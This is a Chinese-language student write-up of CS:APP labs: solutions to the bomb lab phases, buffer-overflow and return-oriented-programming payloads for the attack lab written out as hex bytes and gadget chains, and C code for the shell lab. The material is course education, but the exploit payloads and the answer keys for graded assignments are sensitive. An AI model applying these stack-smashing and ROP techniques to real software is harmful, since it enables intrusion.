0x01 bomb lab #如果有写错的或不懂的,欢迎加我讨论一下 #后面几个因为挺难注释写的挺乱的,建议不要看自己调试一遍,调不出看看总结的思路即可
phase_1 因为本题需要用gdb,于是先去琢磨了一下gdb的使用。
上来先把汇编导出来
然后拖到vscode里,找到第一个函数,然后简单分析一下
然后打开gdb在比较字符串的地方设置断点,然后运行,运行后随便输入,进入断点。
然后查看第一个参数rdi的内容,发现是我们输入的参数
于是推测esi中的数据是用来跟我们输入的数据比较的
然后测试
Border relations with Canada have never been better.
phase_2 首先看汇编推测是读取6个数字
然后读读汇编会发现第一个数是1,第二数在rax里,剩下的数是个等比数列
也就是1 2 4 8 16 32
phase_3
带入0测试一下,看看0x402470里面存放的值
于是接着分析
两个数是0 207
搞定
phase_4
所以答案应该是7 0
phase_5 第五关只看汇编做不出来,要接着上gdb(下面几个有点复杂,写的废话有点多,见谅见谅QAQ
先粗略分析一下
查看用于比较的字符串是”flyers
“
结果爆炸了
设个断点调一下
rbx中是我们输入的值
然后就可以接着推源代码了
然后看一看0x4024b0地址中存的东西
然后因为太菜,一步一步的测试分析的,写的可能有点多,思路都在注释里了
经过俺的反复理解,这里应该是要用0x4024b0处的字符串凑出flyers这个值即可(大概x
然后只要研究一下如何让咱输入的值满足这个条件即可
话说edx的值大概是索引1,f需要的值是9,l是15,y是14,e是5,r是6,s是7
所以需要的值大概是让输入每个字符的ascii的值后四位为9FE567
查查ASCII码表 用 9ON567测试一下
成了,泪目
备注:0x401096注释部分是错的,是我在分析时没注意abcdef,后面换了几个值测试才成功,记得下次测试时用点特殊值
这里值还是很奇怪,不过只要看最后8位就能看出答案
变成9啦,前面应该是把寄存器之前的值加进去了
然后再读一遍代码就能懂啦,简单哒
phase_6 这个还挺复杂的,主要是理清楚逻辑(犯了一个低级错误导致浪费了两天才调出来,但这个其实并不难,调试一下就出来了
经过上个的教训,输入些不规则的数
栈中是我们输入的参数
最终分析大概是这样:
其实也不用看我的注释,前面主要就是让你输入6个参数,且6个参数需要>=1且<=6,并且不能相同。
直接输入654321会爆炸,不过为了测试下面代码,先把输入的值改成654321
这里是把0x6032d0(332 1 6)
0x6032e0(168 2 5)
0x6032f0(924 3 4)
0x603300(691 4 3)
0x603310(477 5 2)
0x603320(443 6 1)
共6个地址按照你输入的顺序放到栈上
因为我们输入的是654321
所以栈中应该是这样的:
然后就是
可以得到d8存e0,e8存f0……20存0
根据前面的332 168 924等进行排序,然后算出答案应该是4 3 2 1 6 5
然后就做完了
备注:这个做的有些吃力,做完了看别人blog发现这原来是个链表…
0x02 Attack lab 这个题要先去看看他的要求:http://csapp.cs.cmu.edu/3e/README-attacklab
http://csapp.cs.cmu.edu/3e/attacklab.pdf
这个lab给了这些程序
另外执行程序时要加入参数-q
,否则会报错
code-injection level1 第一题是让你执行getbuf()时,调用touch1的代码
1 2 3 4 5 6 void test () { int val; val = getbuf (); printf ("No exploit. Getbuf returned 0x%x\n" , val); }
1 2 3 4 5 6 7 void touch1 () { vlevel = 1 ; printf ("Touch1!: You called touch1()\n" ); validate (1 ); exit (0 ); }
1 2 3 4 5 6 unsigned getbuf () { char buf[BUFFER_SIZE]; Gets (buf); return 1 ; }
touch1函数的地址是00000000004017c0
,这里要使用小端法写入程序,所以是c017400000000000
test函数的反汇编
这个题的关键点在于覆盖getbuf函数的返回地址,可以看到getbuf的缓冲区大小为0x28
1 2 3 4 5 6 7 8 9 10 11 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
调用成功
level2 这题要求执行touch2,并且传入参数(你的cookie)
1 2 3 4 5 6 7 8 9 10 11 12 void touch2 (unsigned val) { vlevel = 2 ; if (val == cookie) { printf ("Touch2!: You called touch2(0x%.8x)\n" , val); validate (2 ); } else { printf ("Misfire: You called touch2(0x%.8x)\n" , val); fail (2 ); } exit (0 ); }
首先找到touch2的地址4017ec
,因为我们的cookie是0x59b997fa
,所以传值为
1 2 3 4 5 6 7 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
成功
然后解释一下前面那些奇怪的字符是什么意思(之所以使用ret到是因为限制了不能用jmp)
1 2 3 4 mov 0x59b997fa, %rdi push 004017ec ret ;最后一串是返回地址
最后的返回地址是如何得到的:
level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int hexmatch (unsigned val, char *sval) { char cbuf[110 ]; char *s = cbuf + random () % 100 ; sprintf (s, "%.8x" , val); return strncmp (sval, s, 9 ) == 0 ; } void touch3 (char *sval) { vlevel = 3 ; if (hexmatch (cookie, sval)) { printf ("Touch3!: You called touch3(\"%s\")\n" , sval); validate (3 ); } else { printf ("Misfire: You called touch3(\"%s\")\n" , sval); fail (3 ); } exit (0 ); }
第三题让你传入的变成了cookie的地址,解决方式和第二题没有区别
记得把cookie的值变成ascii码形式
1 2 3 4 5 6 7 35 39 62 39 39 37 66 61 00 48 c7 c7 78 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 dc 61 55 00 00 00 00
第一行是cookie,第二行之后是汇编,最后一行是存着汇编的栈的返回地址。
return-oriented programming 这两道题用了栈随机化(ASLR)和限制可执行代码区域(加入NX位,注入进栈中的代码无法被程序执行)
ROP攻击就是利用函数自带的gadgets(就是现成的代码)构成一个攻击链,它借用代码段里面的多个retq前的一段指令拼凑成一段有效的逻辑,从而达到攻击的目标。为什么是retq呢,因为retq指令返回到哪里执行,由栈的内容决定,这是攻击者很容易控制的地方。
level2 和上题一样,我们需要做的就是赋值%rdi为0x59b997fa
,然后跳到touch2的地址。
因为gadgets不可能有mov 0x59b997fa, %rdi
,所以我们把cookie的值存到栈中,然后pop到%rdi即可
然后找到对应的机器码,这个地址是40141b。
1 2 3 4 5 6 7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 14 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 ec 17 40 00 00 00 00 00
对照此图思考一下即可
level3 这道题也是同样的思路,不过因为栈随机化,所以不能直接用栈的地址。
首先把%rsp的地址传送到%rdi,然后获取字符串的偏移传送到%rsi,lea (%rdi,%rsi,1), %rax
, 将字符串的首地址传送到%rax,再传送到%rdi,最后调用touch3
1 2 3 4 5 6 7 8 9 10 11 12 13 #栈中的场景 0x28の栈帧 mov rsp, rax --返回地址 mov rax, rdi pop rax 偏移0x48 mov rax, rdx mov rdx, rcx mov rcx, rsi lea (rdi,rsi,1), rax mov rax, rdi touch3 cookie
要注意这全是拼出来的,rop主要的攻击方式就是拼,如果你想到了更好的方式,但是找不到机器码也是没用的。
首先把rsp的地址放到rax里
1 2 3 4 5 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 89 e0 mov %rsp,%rax 3: c3 retq
然后把栈的地址放到rdi里
1 2 48 89 c7 mov %rax,%rdi c3 retq
以此类推,最后输入的数据如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
0x03 shell lab 激动人心,终于可以开始写代码了。
如果shell lab不会写,就是因为书没仔细看。不过也没必要回去再看书,按照shell lab补充没细看的知识即可。
写之前看看:http://csapp.cs.cmu.edu/3e/shlab.pdf
本实验需要实现一个unix shell,我们需要完善tsh.c的代码,写出7个函数。
1 2 3 4 5 6 7 • eval: 解析和解释命令行的主例程。 [70行] • builtin cmd: 识别并解释内置命令:quit,fg,bg和job。 [25行] • do bgfg: 实现bg和fg内置命令。 [50行] • waitfg: 等待前台作业的完成。[20行] • sigchld handler: 捕获SIGCHILD信号。80行] • sigint handler: 捕获SIGINT(ctrl-c)信号。[15行] • sigtstp handler: 捕获SIGTSTP(ctrl-z)信号。[15行]
首先我们要知道的事情:
shell的第一个参数是内置命令的名称或可执行文件的路径。剩下的单词是命令行参数。
当是可执行文件路径名的时候,shell会开启一个子进程,然后在子进程的上下文中加载运行程序。
如果shell以&结束,那么shell将在后台运行,这意味着shell在打印提示符和等待下一条命令行之前不会等待作业的终结。
最多只能有一个作业在前台运行。
tsh不需要支持管道符和重定向
ctrl+c(ctrl+z)会导致前台信号关闭
每个job都可以通过pid和jid(job id)来识别
tsh支持的内置指令:
quit:退出当前shell
jobs:列出所有后台job
bg<job>:通过发送SIGCONT信号重启<job>
fg<job>:通过发送SIGCONT信号重启<job>
在写之前建议先看看8.4.6的shell简易实现。
我们首先分析一下它给我们的main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int main (int argc, char **argv) { char c; char cmdline[MAXLINE]; int emit_prompt = 1 ; dup2 (1 , 2 ); while ((c = getopt (argc, argv, "hvp" )) != EOF) { switch (c) { case 'h' : usage (); break ; case 'v' : verbose = 1 ; break ; case 'p' : emit_prompt = 0 ; break ; default : usage (); } } Signal (SIGINT, sigint_handler); Signal (SIGTSTP, sigtstp_handler); Signal (SIGCHLD, sigchld_handler); Signal (SIGQUIT, sigquit_handler); initjobs (jobs); while (1 ) { if (emit_prompt) { printf ("%s" , prompt); fflush (stdout); } if ((fgets (cmdline, MAXLINE, stdin) == NULL ) && ferror (stdin)) app_error ("fgets error" ); if (feof (stdin)) { fflush (stdout); exit (0 ); } eval (cmdline); fflush (stdout); fflush (stdout); } exit (0 ); }
然后我们先把几个简单的信号写完
首先是ctrl c终止前台作业
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void sigint_handler (int sig) { int olderrno = errno; sigset_t mask_all; pid_t pid; sigfillset (&mask_all); sigprocmask (SIG_BLOCK, &mask_all, NULL ); pid = fgpid (jobs); if (pid != 0 ){ kill (-pid, SIGINT); } errno=olderrno; return ; }
然后是ctrl z中断任务的执行,但该任务并没有结束,它只是在进程中维持挂起的状态
代码和上面的一样,改个信号就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void sigtstp_handler (int sig) { int olderrno = errno; sigset_t mask_all; pid_t pid; sigfillset (&mask_all); sigprocmask (SIG_BLOCK, &mask_all, NULL ); pid = fgpid (jobs); if (pid != 0 ){ kill (-pid, SIGTSTP); } errno=olderrno; return ; }
然后写waitfg
1 2 3 4 5 6 7 8 void waitfg (pid_t pid) { while (pid==fgpid (jobs)) { sleep (0 ); } return ; }
builtin cmd,这个书上有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int builtin_cmd (char **argv) { if (!strcmp (argv[0 ], "quit" )) exit (0 ); if (!strcmp (argv[0 ], "&" )) return 1 ; if (!strcmp (argv[0 ], "bg" ) || !strcmp (argv[0 ], "fg" )){ do_bgfg (argv); return 1 ; } if (!strcmp (argv[0 ], "jobs" )) { listjobs (jobs); return 1 ; } return 0 ; }
接着实现do_bgfg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void do_bgfg (char **argv) { struct job_t *job ; int id; if (argv[1 ]==NULL ){ printf ("%s command requires PID argument\n" , argv[0 ]); return ; } if (sscanf (argv[1 ], "%d" , &id) > 0 ) { job = getjobpid (jobs, id); if (job == NULL ) { printf ("No such job\n" ); return ; } }else { printf ("%s command requires PID argument\n" , argv[0 ]); return ; } if (!strcmp (argv[0 ], "bg" )) { kill (-(job->pid), SIGCONT); job->state = BG; } else { kill (-(job->pid), SIGCONT); job->state = FG; waitfg (job->pid); } return ; }
最后一个信号SIGCHLD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 void sigchld_handler (int sig) { int olderrno=errno; pid_t pid; int status; sigset_t mask_all; sigfillset (&mask_all); while ((pid = waitpid (-1 , &status, WNOHANG | WUNTRACED)) > 0 ) { if (WIFEXITED (status)) { sigprocmask (SIG_BLOCK, &mask_all, NULL ); deletejob (jobs, pid); } else if (WIFSIGNALED (status)) { struct job_t * job = getjobpid (jobs, pid); sigprocmask (SIG_BLOCK, &mask_all, NULL ); printf ("Job [%d] (%d) terminated by signal %d\n" , job->jid, job->pid, WTERMSIG (status)); deletejob (jobs, pid); } else if (WIFSTOPPED (status)) { struct job_t * job = getjobpid (jobs, pid); sigprocmask (SIG_BLOCK, &mask_all, NULL ); printf ("Job [%d] (%d) stopped by signal %d\n" , job->jid, job->pid, WSTOPSIG (status)); job->state= ST; } } errno=olderrno; return ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void eval (char *cmdline) { int bg; static char array[MAXLINE]; char *buf = array; char *argv[MAXARGS]; pid_t pid; sigset_t mask_one, prev, mask_all; strcpy (buf, cmdline); bg = parseline (buf, argv); if (argv[0 ] == NULL ) return ; if (!builtin_cmd (argv)){ sigemptyset (&mask_one); sigaddset (&mask_one, SIGCHLD); sigfillset (&mask_all); sigprocmask (SIG_BLOCK, &mask_one, &prev); if ((pid = fork()) == 0 ){ setpgid (0 , 0 ); sigprocmask (SIG_SETMASK, &prev, NULL ); if (execve (argv[0 ], argv, environ) < 0 ){ printf ("%s: Command not found\n" , argv[0 ]); exit (0 ); } } sigprocmask (SIG_BLOCK, &mask_all, NULL ); addjob (jobs, pid, bg?BG:FG, buf); sigprocmask (SIG_SETMASK, &prev, NULL ); if (bg){ printf ("[%d] (%d) %s" , pid2jid (pid), pid, buf); }else { waitfg (pid); } } }